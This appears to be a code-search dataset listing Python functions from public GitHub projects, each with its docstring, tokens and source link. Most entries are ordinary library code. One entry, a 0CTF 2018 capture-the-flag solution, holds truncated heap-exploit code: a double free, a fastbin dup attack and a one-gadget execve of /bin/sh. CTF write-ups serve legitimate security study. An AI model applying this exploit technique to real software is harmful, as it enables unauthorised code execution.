[ "def", "reshape", "(", "a", ",", "new_shape", ",", "order", "=", "'C'", ")", ":", "# We can't use 'frommethod', it whine about some parameters. Dmmit.", "try", ":", "return", "a", ".", "reshape", "(", "new_shape", ",", "order", "=", "order", ")", "except", "Attr...
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Gems/CloudGemMetric/v1/AWS/common-code/Lib/numpy/ma/core.py#L7043-L7059
pytorch/pytorch
7176c92687d3cc847cc046bf002269c6949a21c2
torch/nn/utils/prune.py
python
BasePruningMethod.prune
(self, t, default_mask=None, importance_scores=None)
return t * self.compute_mask(importance_scores, default_mask=default_mask)
r"""Computes and returns a pruned version of input tensor ``t`` according to the pruning rule specified in :meth:`compute_mask`. Args: t (torch.Tensor): tensor to prune (of same dimensions as ``default_mask``). importance_scores (torch.Tensor): tensor of importan...
r"""Computes and returns a pruned version of input tensor ``t`` according to the pruning rule specified in :meth:`compute_mask`.
[ "r", "Computes", "and", "returns", "a", "pruned", "version", "of", "input", "tensor", "t", "according", "to", "the", "pruning", "rule", "specified", "in", ":", "meth", ":", "compute_mask", "." ]
def prune(self, t, default_mask=None, importance_scores=None): r"""Computes and returns a pruned version of input tensor ``t`` according to the pruning rule specified in :meth:`compute_mask`. Args: t (torch.Tensor): tensor to prune (of same dimensions as ``default_ma...
[ "def", "prune", "(", "self", ",", "t", ",", "default_mask", "=", "None", ",", "importance_scores", "=", "None", ")", ":", "if", "importance_scores", "is", "not", "None", ":", "assert", "(", "importance_scores", ".", "shape", "==", "t", ".", "shape", ")",...
https://github.com/pytorch/pytorch/blob/7176c92687d3cc847cc046bf002269c6949a21c2/torch/nn/utils/prune.py#L209-L236
hpi-xnor/BMXNet-v2
af2b1859eafc5c721b1397cef02f946aaf2ce20d
python/mxnet/gluon/block.py
python
Block.forward
(self, *args)
Overrides to implement forward computation using :py:class:`NDArray`. Only accepts positional arguments. Parameters ---------- *args : list of NDArray Input tensors.
Overrides to implement forward computation using :py:class:`NDArray`. Only accepts positional arguments.
[ "Overrides", "to", "implement", "forward", "computation", "using", ":", "py", ":", "class", ":", "NDArray", ".", "Only", "accepts", "positional", "arguments", "." ]
def forward(self, *args): """Overrides to implement forward computation using :py:class:`NDArray`. Only accepts positional arguments. Parameters ---------- *args : list of NDArray Input tensors. """ # pylint: disable= invalid-name raise NotImp...
[ "def", "forward", "(", "self", ",", "*", "args", ")", ":", "# pylint: disable= invalid-name", "raise", "NotImplementedError" ]
https://github.com/hpi-xnor/BMXNet-v2/blob/af2b1859eafc5c721b1397cef02f946aaf2ce20d/python/mxnet/gluon/block.py#L556-L566
nyuwireless-unipd/ns3-mmwave
4ff9e87e8079764e04cbeccd8e85bff15ae16fb3
bindings/python/rad_util.py
python
quantile
(l, p)
return result
Return p quantile of list l. E.g. p=0.25 for q1. See: http://rweb.stat.umn.edu/R/library/base/html/quantile.html
Return p quantile of list l. E.g. p=0.25 for q1.
[ "Return", "p", "quantile", "of", "list", "l", ".", "E", ".", "g", ".", "p", "=", "0", ".", "25", "for", "q1", "." ]
def quantile(l, p): """Return p quantile of list l. E.g. p=0.25 for q1. See: http://rweb.stat.umn.edu/R/library/base/html/quantile.html """ l_sort = l[:] l_sort.sort() n = len(l) r = 1 + ((n - 1) * p) i = int(r) f = r - i if i < n: result = (1-f)*l_sort[i-1] + f*l_...
[ "def", "quantile", "(", "l", ",", "p", ")", ":", "l_sort", "=", "l", "[", ":", "]", "l_sort", ".", "sort", "(", ")", "n", "=", "len", "(", "l", ")", "r", "=", "1", "+", "(", "(", "n", "-", "1", ")", "*", "p", ")", "i", "=", "int", "("...
https://github.com/nyuwireless-unipd/ns3-mmwave/blob/4ff9e87e8079764e04cbeccd8e85bff15ae16fb3/bindings/python/rad_util.py#L351-L368
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Gems/CloudGemDefectReporter/v1/AWS/common-code/Lib/setuptools/msvc.py
python
EnvironmentInfo.UCRTIncludes
(self)
return [os.path.join(include, '%sucrt' % self._ucrt_subdir)]
Microsoft Universal C Runtime SDK Include
Microsoft Universal C Runtime SDK Include
[ "Microsoft", "Universal", "C", "Runtime", "SDK", "Include" ]
def UCRTIncludes(self): """ Microsoft Universal C Runtime SDK Include """ if self.vc_ver < 14.0: return [] include = os.path.join(self.si.UniversalCRTSdkDir, 'include') return [os.path.join(include, '%sucrt' % self._ucrt_subdir)]
[ "def", "UCRTIncludes", "(", "self", ")", ":", "if", "self", ".", "vc_ver", "<", "14.0", ":", "return", "[", "]", "include", "=", "os", ".", "path", ".", "join", "(", "self", ".", "si", ".", "UniversalCRTSdkDir", ",", "'include'", ")", "return", "[", ...
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Gems/CloudGemDefectReporter/v1/AWS/common-code/Lib/setuptools/msvc.py#L1170-L1178
sphinxsearch/sphinx
409f2c2b5b2ff70b04e38f92b6b1a890326bad65
api/sphinxapi.py
python
SphinxClient.SetIDRange
(self, minid, maxid)
Set IDs range to match. Only match records if document ID is beetwen $min and $max (inclusive).
Set IDs range to match. Only match records if document ID is beetwen $min and $max (inclusive).
[ "Set", "IDs", "range", "to", "match", ".", "Only", "match", "records", "if", "document", "ID", "is", "beetwen", "$min", "and", "$max", "(", "inclusive", ")", "." ]
def SetIDRange (self, minid, maxid): """ Set IDs range to match. Only match records if document ID is beetwen $min and $max (inclusive). """ assert(isinstance(minid, (int, long))) assert(isinstance(maxid, (int, long))) assert(minid<=maxid) self._min_id = minid self._max_id = maxid
[ "def", "SetIDRange", "(", "self", ",", "minid", ",", "maxid", ")", ":", "assert", "(", "isinstance", "(", "minid", ",", "(", "int", ",", "long", ")", ")", ")", "assert", "(", "isinstance", "(", "maxid", ",", "(", "int", ",", "long", ")", ")", ")"...
https://github.com/sphinxsearch/sphinx/blob/409f2c2b5b2ff70b04e38f92b6b1a890326bad65/api/sphinxapi.py#L415-L424
apple/turicreate
cce55aa5311300e3ce6af93cb45ba791fd1bdf49
src/python/turicreate/data_structures/sarray.py
python
SArray.dtype
(self)
return self.__proxy__.dtype()
The data type of the SArray. Returns ------- out : type The type of the SArray. Examples -------- >>> sa = tc.SArray(["The quick brown fox jumps over the lazy dog."]) >>> sa.dtype str >>> sa = tc.SArray(range(10)) >>> sa.dtype...
The data type of the SArray.
[ "The", "data", "type", "of", "the", "SArray", "." ]
def dtype(self): """ The data type of the SArray. Returns ------- out : type The type of the SArray. Examples -------- >>> sa = tc.SArray(["The quick brown fox jumps over the lazy dog."]) >>> sa.dtype str >>> sa = tc.S...
[ "def", "dtype", "(", "self", ")", ":", "return", "self", ".", "__proxy__", ".", "dtype", "(", ")" ]
https://github.com/apple/turicreate/blob/cce55aa5311300e3ce6af93cb45ba791fd1bdf49/src/python/turicreate/data_structures/sarray.py#L1451-L1469
hughperkins/tf-coriander
970d3df6c11400ad68405f22b0c42a52374e94ca
tensorflow/contrib/graph_editor/select.py
python
_get_output_ts
(ops)
return ts
Compute the list of unique output tensors of all the op in ops. Args: ops: an object convertible to a list of tf.Operation. Returns: The list of unique output tensors of all the op in ops. Raises: TypeError: if ops cannot be converted to a list of tf.Operation.
Compute the list of unique output tensors of all the op in ops.
[ "Compute", "the", "list", "of", "unique", "output", "tensors", "of", "all", "the", "op", "in", "ops", "." ]
def _get_output_ts(ops): """Compute the list of unique output tensors of all the op in ops. Args: ops: an object convertible to a list of tf.Operation. Returns: The list of unique output tensors of all the op in ops. Raises: TypeError: if ops cannot be converted to a list of tf.Operation. """ o...
[ "def", "_get_output_ts", "(", "ops", ")", ":", "ops", "=", "util", ".", "make_list_of_op", "(", "ops", ")", "ts", "=", "[", "]", "for", "op", "in", "ops", ":", "ts", "+=", "op", ".", "outputs", "return", "ts" ]
https://github.com/hughperkins/tf-coriander/blob/970d3df6c11400ad68405f22b0c42a52374e94ca/tensorflow/contrib/graph_editor/select.py#L97-L111
mongodb/mongo
d8ff665343ad29cf286ee2cf4a1960d29371937b
src/third_party/scons-3.1.2/scons-local-3.1.2/SCons/Action.py
python
_object_contents
(obj)
Return the signature contents of any Python object. We have to handle the case where object contains a code object since it can be pickled directly.
Return the signature contents of any Python object.
[ "Return", "the", "signature", "contents", "of", "any", "Python", "object", "." ]
def _object_contents(obj): """Return the signature contents of any Python object. We have to handle the case where object contains a code object since it can be pickled directly. """ try: # Test if obj is a method. return _function_contents(obj.__func__) except AttributeError: ...
[ "def", "_object_contents", "(", "obj", ")", ":", "try", ":", "# Test if obj is a method.", "return", "_function_contents", "(", "obj", ".", "__func__", ")", "except", "AttributeError", ":", "try", ":", "# Test if obj is a callable object.", "return", "_function_contents...
https://github.com/mongodb/mongo/blob/d8ff665343ad29cf286ee2cf4a1960d29371937b/src/third_party/scons-3.1.2/scons-local-3.1.2/SCons/Action.py#L172-L210
Xilinx/Vitis-AI
fc74d404563d9951b57245443c73bef389f3657f
tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/python/ops/math_grad.py
python
_UnsortedSegmentMaxGrad
(op, grad)
return _UnsortedSegmentMinOrMaxGrad(op, grad)
Gradient for UnsortedSegmentMax.
Gradient for UnsortedSegmentMax.
[ "Gradient", "for", "UnsortedSegmentMax", "." ]
def _UnsortedSegmentMaxGrad(op, grad): """ Gradient for UnsortedSegmentMax. """ return _UnsortedSegmentMinOrMaxGrad(op, grad)
[ "def", "_UnsortedSegmentMaxGrad", "(", "op", ",", "grad", ")", ":", "return", "_UnsortedSegmentMinOrMaxGrad", "(", "op", ",", "grad", ")" ]
https://github.com/Xilinx/Vitis-AI/blob/fc74d404563d9951b57245443c73bef389f3657f/tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/python/ops/math_grad.py#L453-L455
apple/turicreate
cce55aa5311300e3ce6af93cb45ba791fd1bdf49
src/external/coremltools_wrap/coremltools/deps/protobuf/python/google/protobuf/json_format.py
python
_Parser._ConvertFieldValuePair
(self, js, message)
Convert field value pairs into regular message. Args: js: A JSON object to convert the field value pairs. message: A regular protocol message to record the data. Raises: ParseError: In case of problems converting.
Convert field value pairs into regular message.
[ "Convert", "field", "value", "pairs", "into", "regular", "message", "." ]
def _ConvertFieldValuePair(self, js, message): """Convert field value pairs into regular message. Args: js: A JSON object to convert the field value pairs. message: A regular protocol message to record the data. Raises: ParseError: In case of problems converting. """ names = [] ...
[ "def", "_ConvertFieldValuePair", "(", "self", ",", "js", ",", "message", ")", ":", "names", "=", "[", "]", "message_descriptor", "=", "message", ".", "DESCRIPTOR", "fields_by_json_name", "=", "dict", "(", "(", "f", ".", "json_name", ",", "f", ")", "for", ...
https://github.com/apple/turicreate/blob/cce55aa5311300e3ce6af93cb45ba791fd1bdf49/src/external/coremltools_wrap/coremltools/deps/protobuf/python/google/protobuf/json_format.py#L417-L507
ApolloAuto/apollo-platform
86d9dc6743b496ead18d597748ebabd34a513289
ros/third_party/lib_aarch64/python2.7/dist-packages/rosdep2/rospkg_loader.py
python
RosPkgLoader.get_loadable_resources
(self)
return self._loadable_resource_cache
'Resources' map to ROS packages names.
'Resources' map to ROS packages names.
[ "Resources", "map", "to", "ROS", "packages", "names", "." ]
def get_loadable_resources(self): """ 'Resources' map to ROS packages names. """ if not self._loadable_resource_cache: self._loadable_resource_cache = list(self._rospack.list()) return self._loadable_resource_cache
[ "def", "get_loadable_resources", "(", "self", ")", ":", "if", "not", "self", ".", "_loadable_resource_cache", ":", "self", ".", "_loadable_resource_cache", "=", "list", "(", "self", ".", "_rospack", ".", "list", "(", ")", ")", "return", "self", ".", "_loadab...
https://github.com/ApolloAuto/apollo-platform/blob/86d9dc6743b496ead18d597748ebabd34a513289/ros/third_party/lib_aarch64/python2.7/dist-packages/rosdep2/rospkg_loader.py#L112-L118
turi-code/SFrame
796b9bdfb2fa1b881d82080754643c7e68629cd2
oss_src/unity/python/sframe/data_structures/sarray.py
python
SArray.__is_materialized__
(self)
return self.__proxy__.is_materialized()
Returns whether or not the sarray has been materialized.
Returns whether or not the sarray has been materialized.
[ "Returns", "whether", "or", "not", "the", "sarray", "has", "been", "materialized", "." ]
def __is_materialized__(self): """ Returns whether or not the sarray has been materialized. """ return self.__proxy__.is_materialized()
[ "def", "__is_materialized__", "(", "self", ")", ":", "return", "self", ".", "__proxy__", ".", "is_materialized", "(", ")" ]
https://github.com/turi-code/SFrame/blob/796b9bdfb2fa1b881d82080754643c7e68629cd2/oss_src/unity/python/sframe/data_structures/sarray.py#L1289-L1293
microsoft/TSS.MSR
0f2516fca2cd9929c31d5450e39301c9bde43688
TSS.Py/src/TpmTypes.py
python
TPM2_Policy_AC_SendSelect_REQUEST.toTpm
(self, buf)
TpmMarshaller method
TpmMarshaller method
[ "TpmMarshaller", "method" ]
def toTpm(self, buf): """ TpmMarshaller method """ buf.writeSizedByteBuf(self.objectName) buf.writeSizedByteBuf(self.authHandleName) buf.writeSizedByteBuf(self.acName) buf.writeByte(self.includeObject)
[ "def", "toTpm", "(", "self", ",", "buf", ")", ":", "buf", ".", "writeSizedByteBuf", "(", "self", ".", "objectName", ")", "buf", ".", "writeSizedByteBuf", "(", "self", ".", "authHandleName", ")", "buf", ".", "writeSizedByteBuf", "(", "self", ".", "acName", ...
https://github.com/microsoft/TSS.MSR/blob/0f2516fca2cd9929c31d5450e39301c9bde43688/TSS.Py/src/TpmTypes.py#L17514-L17519
IfcOpenShell/IfcOpenShell
2c2954b11a9c9d581bef03240836d4567e69ad0b
src/ifcopenshell-python/ifcopenshell/ids.py
python
restriction.__repr__
(self)
return msg
Represent the restriction in human readable sentence. :return: sentence :rtype: str
Represent the restriction in human readable sentence.
[ "Represent", "the", "restriction", "in", "human", "readable", "sentence", "." ]
def __repr__(self): """Represent the restriction in human readable sentence. :return: sentence :rtype: str """ msg = "of type '%s', " % (self.base) if self.type == "enumeration": msg = msg + "of value: '%s'" % "' or '".join(self.options) elif self.typ...
[ "def", "__repr__", "(", "self", ")", ":", "msg", "=", "\"of type '%s', \"", "%", "(", "self", ".", "base", ")", "if", "self", ".", "type", "==", "\"enumeration\"", ":", "msg", "=", "msg", "+", "\"of value: '%s'\"", "%", "\"' or '\"", ".", "join", "(", ...
https://github.com/IfcOpenShell/IfcOpenShell/blob/2c2954b11a9c9d581bef03240836d4567e69ad0b/src/ifcopenshell-python/ifcopenshell/ids.py#L1033-L1051
thalium/icebox
99d147d5b9269222225443ce171b4fd46d8985d4
third_party/virtualbox/src/VBox/ValidationKit/bootsectors/bs3-cpu-generated-1-data.py
python
Bs3Cg1Instruction.getInstructionEntry
(self)
return [ ' /* cbOpcodes = */ %s, /* %s */' % (len(self.asOpcodes), ' '.join(self.asOpcodes),), ' /* cOperands = */ %s,%s' % (len(self.oInstr.aoOperands), sOperands,), ' /* cchMnemonic = */ %s, /* %s */' % (len(self.oInstr.sMnemonic), self.oInst...
Returns an array of BS3CG1INSTR member initializers.
Returns an array of BS3CG1INSTR member initializers.
[ "Returns", "an", "array", "of", "BS3CG1INSTR", "member", "initializers", "." ]
def getInstructionEntry(self): """ Returns an array of BS3CG1INSTR member initializers. """ assert len(self.oInstr.sMnemonic) < 16; sOperands = ', '.join([oOp.sType for oOp in self.oInstr.aoOperands]); if sOperands: sOperands = ' /* ' + sOperands + ' */'; return [ ...
[ "def", "getInstructionEntry", "(", "self", ")", ":", "assert", "len", "(", "self", ".", "oInstr", ".", "sMnemonic", ")", "<", "16", "sOperands", "=", "', '", ".", "join", "(", "[", "oOp", ".", "sType", "for", "oOp", "in", "self", ".", "oInstr", ".", ...
https://github.com/thalium/icebox/blob/99d147d5b9269222225443ce171b4fd46d8985d4/third_party/virtualbox/src/VBox/ValidationKit/bootsectors/bs3-cpu-generated-1-data.py#L384-L403
gem5/gem5
141cc37c2d4b93959d4c249b8f7e6a8b2ef75338
src/mem/slicc/parser.py
python
SLICC.p_statement__assign
(self, p)
statement : expr ASSIGN expr SEMI
statement : expr ASSIGN expr SEMI
[ "statement", ":", "expr", "ASSIGN", "expr", "SEMI" ]
def p_statement__assign(self, p): "statement : expr ASSIGN expr SEMI" p[0] = ast.AssignStatementAST(self, p[1], p[3])
[ "def", "p_statement__assign", "(", "self", ",", "p", ")", ":", "p", "[", "0", "]", "=", "ast", ".", "AssignStatementAST", "(", "self", ",", "p", "[", "1", "]", ",", "p", "[", "3", "]", ")" ]
https://github.com/gem5/gem5/blob/141cc37c2d4b93959d4c249b8f7e6a8b2ef75338/src/mem/slicc/parser.py#L600-L602
catboost/catboost
167f64f237114a4d10b2b4ee42adb4569137debe
contrib/tools/python3/src/Lib/_pydecimal.py
python
Context.divmod
(self, a, b)
Return (a // b, a % b). >>> ExtendedContext.divmod(Decimal(8), Decimal(3)) (Decimal('2'), Decimal('2')) >>> ExtendedContext.divmod(Decimal(8), Decimal(4)) (Decimal('2'), Decimal('0')) >>> ExtendedContext.divmod(8, 4) (Decimal('2'), Decimal('0')) >>> ExtendedConte...
Return (a // b, a % b).
[ "Return", "(", "a", "//", "b", "a", "%", "b", ")", "." ]
def divmod(self, a, b): """Return (a // b, a % b). >>> ExtendedContext.divmod(Decimal(8), Decimal(3)) (Decimal('2'), Decimal('2')) >>> ExtendedContext.divmod(Decimal(8), Decimal(4)) (Decimal('2'), Decimal('0')) >>> ExtendedContext.divmod(8, 4) (Decimal('2'), Deci...
[ "def", "divmod", "(", "self", ",", "a", ",", "b", ")", ":", "a", "=", "_convert_other", "(", "a", ",", "raiseit", "=", "True", ")", "r", "=", "a", ".", "__divmod__", "(", "b", ",", "context", "=", "self", ")", "if", "r", "is", "NotImplemented", ...
https://github.com/catboost/catboost/blob/167f64f237114a4d10b2b4ee42adb4569137debe/contrib/tools/python3/src/Lib/_pydecimal.py#L4418-L4437
eclipse/sumo
7132a9b8b6eea734bdec38479026b4d8c4336d03
tools/traci/domain.py
python
Domain.getIDList
(self)
return self._getUniversal(tc.TRACI_ID_LIST, "")
getIDList() -> list(string) Returns a list of all objects in the network.
getIDList() -> list(string)
[ "getIDList", "()", "-", ">", "list", "(", "string", ")" ]
def getIDList(self): """getIDList() -> list(string) Returns a list of all objects in the network. """ return self._getUniversal(tc.TRACI_ID_LIST, "")
[ "def", "getIDList", "(", "self", ")", ":", "return", "self", ".", "_getUniversal", "(", "tc", ".", "TRACI_ID_LIST", ",", "\"\"", ")" ]
https://github.com/eclipse/sumo/blob/7132a9b8b6eea734bdec38479026b4d8c4336d03/tools/traci/domain.py#L191-L196
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
wx/lib/agw/customtreectrl.py
python
CustomTreeCtrl.IsDescendantOf
(self, parent, item)
return False
Checks if the given item is under another one in the tree hierarchy. :param `parent`: an instance of :class:`GenericTreeItem`, representing the possible parent of `item`; :param `item`: another instance of :class:`GenericTreeItem`. :return: ``True`` if `item` is a descendant of `paren...
Checks if the given item is under another one in the tree hierarchy.
[ "Checks", "if", "the", "given", "item", "is", "under", "another", "one", "in", "the", "tree", "hierarchy", "." ]
def IsDescendantOf(self, parent, item): """ Checks if the given item is under another one in the tree hierarchy. :param `parent`: an instance of :class:`GenericTreeItem`, representing the possible parent of `item`; :param `item`: another instance of :class:`GenericTreeItem`. ...
[ "def", "IsDescendantOf", "(", "self", ",", "parent", ",", "item", ")", ":", "while", "item", ":", "if", "item", "==", "parent", ":", "# item is a descendant of parent", "return", "True", "item", "=", "item", ".", "GetParent", "(", ")", "return", "False" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/wx/lib/agw/customtreectrl.py#L5200-L5220
MTG/gaia
0f7214dbdec6f9b651ca34211824841ffba0bc77
src/bindings/pygaia/utils.py
python
dictcombinations
(d)
From a dictionary of key to possible values, generate dictionaries with all possible combinations for the values.
From a dictionary of key to possible values, generate dictionaries with all possible combinations for the values.
[ "From", "a", "dictionary", "of", "key", "to", "possible", "values", "generate", "dictionaries", "with", "all", "possible", "combinations", "for", "the", "values", "." ]
def dictcombinations(d): """From a dictionary of key to possible values, generate dictionaries with all possible combinations for the values.""" keys = tuple(d.keys()) for values in combinations(list(d.values())): yield dict(zip(keys, values))
[ "def", "dictcombinations", "(", "d", ")", ":", "keys", "=", "tuple", "(", "d", ".", "keys", "(", ")", ")", "for", "values", "in", "combinations", "(", "list", "(", "d", ".", "values", "(", ")", ")", ")", ":", "yield", "dict", "(", "zip", "(", "...
https://github.com/MTG/gaia/blob/0f7214dbdec6f9b651ca34211824841ffba0bc77/src/bindings/pygaia/utils.py#L58-L62
catboost/catboost
167f64f237114a4d10b2b4ee42adb4569137debe
contrib/python/numpy/py3/numpy/distutils/npy_pkg_config.py
python
LibraryInfo.sections
(self)
return list(self._sections.keys())
Return the section headers of the config file. Parameters ---------- None Returns ------- keys : list of str The list of section headers.
Return the section headers of the config file.
[ "Return", "the", "section", "headers", "of", "the", "config", "file", "." ]
def sections(self): """ Return the section headers of the config file. Parameters ---------- None Returns ------- keys : list of str The list of section headers. """ return list(self._sections.keys())
[ "def", "sections", "(", "self", ")", ":", "return", "list", "(", "self", ".", "_sections", ".", "keys", "(", ")", ")" ]
https://github.com/catboost/catboost/blob/167f64f237114a4d10b2b4ee42adb4569137debe/contrib/python/numpy/py3/numpy/distutils/npy_pkg_config.py#L114-L128
KratosMultiphysics/Kratos
0000833054ed0503424eb28205d6508d9ca6cbbc
applications/ContactStructuralMechanicsApplication/python_scripts/mesh_tying_process.py
python
MeshTyingProcess.__init__
(self, Model, settings)
The default constructor of the class Keyword arguments: self -- It signifies an instance of a class. Model -- the model part used to construct the process. settings -- Kratos parameters containing solver settings.
The default constructor of the class
[ "The", "default", "constructor", "of", "the", "class" ]
def __init__(self, Model, settings): """ The default constructor of the class Keyword arguments: self -- It signifies an instance of a class. Model -- the model part used to construct the process. settings -- Kratos parameters containing solver settings. """ # N...
[ "def", "__init__", "(", "self", ",", "Model", ",", "settings", ")", ":", "# NOTE: Due to recursive check \"search_model_part\" and \"assume_master_slave\" requires to pre-define configurations, if more that 10 pairs of contact are required, just add. I assume nobody needs that much", "# Settin...
https://github.com/KratosMultiphysics/Kratos/blob/0000833054ed0503424eb28205d6508d9ca6cbbc/applications/ContactStructuralMechanicsApplication/python_scripts/mesh_tying_process.py#L27-L106
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/psutil/_psbsd.py
python
Process.oneshot
(self)
return ret
Retrieves multiple process info in one shot as a raw tuple.
Retrieves multiple process info in one shot as a raw tuple.
[ "Retrieves", "multiple", "process", "info", "in", "one", "shot", "as", "a", "raw", "tuple", "." ]
def oneshot(self): """Retrieves multiple process info in one shot as a raw tuple.""" ret = cext.proc_oneshot_info(self.pid) assert len(ret) == len(kinfo_proc_map) return ret
[ "def", "oneshot", "(", "self", ")", ":", "ret", "=", "cext", ".", "proc_oneshot_info", "(", "self", ".", "pid", ")", "assert", "len", "(", "ret", ")", "==", "len", "(", "kinfo_proc_map", ")", "return", "ret" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/psutil/_psbsd.py#L605-L609
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/asyncio/locks.py
python
Lock.release
(self)
Release a lock. When the lock is locked, reset it to unlocked, and return. If any other coroutines are blocked waiting for the lock to become unlocked, allow exactly one of them to proceed. When invoked on an unlocked lock, a RuntimeError is raised. There is no return value.
Release a lock.
[ "Release", "a", "lock", "." ]
def release(self): """Release a lock. When the lock is locked, reset it to unlocked, and return. If any other coroutines are blocked waiting for the lock to become unlocked, allow exactly one of them to proceed. When invoked on an unlocked lock, a RuntimeError is raised. ...
[ "def", "release", "(", "self", ")", ":", "if", "self", ".", "_locked", ":", "self", ".", "_locked", "=", "False", "self", ".", "_wake_up_first", "(", ")", "else", ":", "raise", "RuntimeError", "(", "'Lock is not acquired.'", ")" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/asyncio/locks.py#L203-L218
hughperkins/Jinja2CppLight
04196b080adf6edb86184824a1cf948ace310d19
thirdparty/cogapp/cogapp/cogapp.py
python
Cog.suffixLines
(self, text)
return text
Add suffixes to the lines in text, if our options desire it. text is many lines, as a single string.
Add suffixes to the lines in text, if our options desire it. text is many lines, as a single string.
[ "Add", "suffixes", "to", "the", "lines", "in", "text", "if", "our", "options", "desire", "it", ".", "text", "is", "many", "lines", "as", "a", "single", "string", "." ]
def suffixLines(self, text): """ Add suffixes to the lines in text, if our options desire it. text is many lines, as a single string. """ if self.options.sSuffix: # Find all non-blank lines, and add the suffix to the end. repl = r"\g<0>" + self.options.sSuffix...
[ "def", "suffixLines", "(", "self", ",", "text", ")", ":", "if", "self", ".", "options", ".", "sSuffix", ":", "# Find all non-blank lines, and add the suffix to the end.", "repl", "=", "r\"\\g<0>\"", "+", "self", ".", "options", ".", "sSuffix", ".", "replace", "(...
https://github.com/hughperkins/Jinja2CppLight/blob/04196b080adf6edb86184824a1cf948ace310d19/thirdparty/cogapp/cogapp/cogapp.py#L539-L547
sajjadium/ctf-writeups
1fd27f5d9619bddf670f25343948a8fe2f005f63
0CTF/2018/Quals/babyheap/exploit.py
python
exploit
(libc_base)
0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
[ "0x4526a", "execve", "(", "/", "bin", "/", "sh", "rsp", "+", "0x30", "environ", ")", "constraints", ":", "[", "rsp", "+", "0x30", "]", "==", "NULL" ]
def exploit(libc_base): # data[4] => fastbin_2 (0x60) # this allocation causes data[4] and data[2] pointing to the same fastbin_2 allocate(88) # due to the following double free, we can mount fastbin dup attack delete(2) delete(0) delete(4) # data[0] => fastbin_2 (0x60) allocate(88...
[ "def", "exploit", "(", "libc_base", ")", ":", "# data[4] => fastbin_2 (0x60)", "# this allocation causes data[4] and data[2] pointing to the same fastbin_2", "allocate", "(", "88", ")", "# due to the following double free, we can mount fastbin dup attack", "delete", "(", "2", ")", ...
https://github.com/sajjadium/ctf-writeups/blob/1fd27f5d9619bddf670f25343948a8fe2f005f63/0CTF/2018/Quals/babyheap/exploit.py#L53-L155
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Gems/CloudGemMetric/v1/AWS/common-code/Lib/numpy/compat/_inspect.py
python
strseq
(object, convert, join=joinseq)
Recursively walk a sequence, stringifying each element.
Recursively walk a sequence, stringifying each element.
[ "Recursively", "walk", "a", "sequence", "stringifying", "each", "element", "." ]
def strseq(object, convert, join=joinseq): """Recursively walk a sequence, stringifying each element. """ if type(object) in [list, tuple]: return join([strseq(_o, convert, join) for _o in object]) else: return convert(object)
[ "def", "strseq", "(", "object", ",", "convert", ",", "join", "=", "joinseq", ")", ":", "if", "type", "(", "object", ")", "in", "[", "list", ",", "tuple", "]", ":", "return", "join", "(", "[", "strseq", "(", "_o", ",", "convert", ",", "join", ")",...
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Gems/CloudGemMetric/v1/AWS/common-code/Lib/numpy/compat/_inspect.py#L133-L140
zhaoweicai/mscnn
534bcac5710a579d60827f192035f7eef6d8c585
scripts/cpp_lint.py
python
CheckAltTokens
(filename, clean_lines, linenum, error)
Check alternative keywords being used in boolean expressions. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call with any errors found.
Check alternative keywords being used in boolean expressions.
[ "Check", "alternative", "keywords", "being", "used", "in", "boolean", "expressions", "." ]
def CheckAltTokens(filename, clean_lines, linenum, error): """Check alternative keywords being used in boolean expressions. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. error: The function to call ...
[ "def", "CheckAltTokens", "(", "filename", ",", "clean_lines", ",", "linenum", ",", "error", ")", ":", "line", "=", "clean_lines", ".", "elided", "[", "linenum", "]", "# Avoid preprocessor lines", "if", "Match", "(", "r'^\\s*#'", ",", "line", ")", ":", "retur...
https://github.com/zhaoweicai/mscnn/blob/534bcac5710a579d60827f192035f7eef6d8c585/scripts/cpp_lint.py#L3405-L3434
apache/qpid-proton
6bcdfebb55ea3554bc29b1901422532db331a591
python/proton/_data.py
python
Data.is_described
(self)
return pn_data_is_described(self._data)
Checks if the current node is a described value. The descriptor and value may be accessed by entering the described value. >>> # read a symbolically described string >>> assert data.is_described() # will error if the current node is not described >>> data.enter() ...
Checks if the current node is a described value. The descriptor and value may be accessed by entering the described value.
[ "Checks", "if", "the", "current", "node", "is", "a", "described", "value", ".", "The", "descriptor", "and", "value", "may", "be", "accessed", "by", "entering", "the", "described", "value", "." ]
def is_described(self) -> bool: """ Checks if the current node is a described value. The descriptor and value may be accessed by entering the described value. >>> # read a symbolically described string >>> assert data.is_described() # will error if the current node is no...
[ "def", "is_described", "(", "self", ")", "->", "bool", ":", "return", "pn_data_is_described", "(", "self", ".", "_data", ")" ]
https://github.com/apache/qpid-proton/blob/6bcdfebb55ea3554bc29b1901422532db331a591/python/proton/_data.py#L1184-L1200
domino-team/openwrt-cc
8b181297c34d14d3ca521cc9f31430d561dbc688
package/gli-pub/openwrt-node-packages-master/node/node-v6.9.1/deps/v8/tools/grokdump.py
python
InspectionPadawan.__getattr__
(self, name)
return getattr(self.heap, name)
An InspectionPadawan can be used instead of V8Heap, even though it does not inherit from V8Heap (aka. mixin).
An InspectionPadawan can be used instead of V8Heap, even though it does not inherit from V8Heap (aka. mixin).
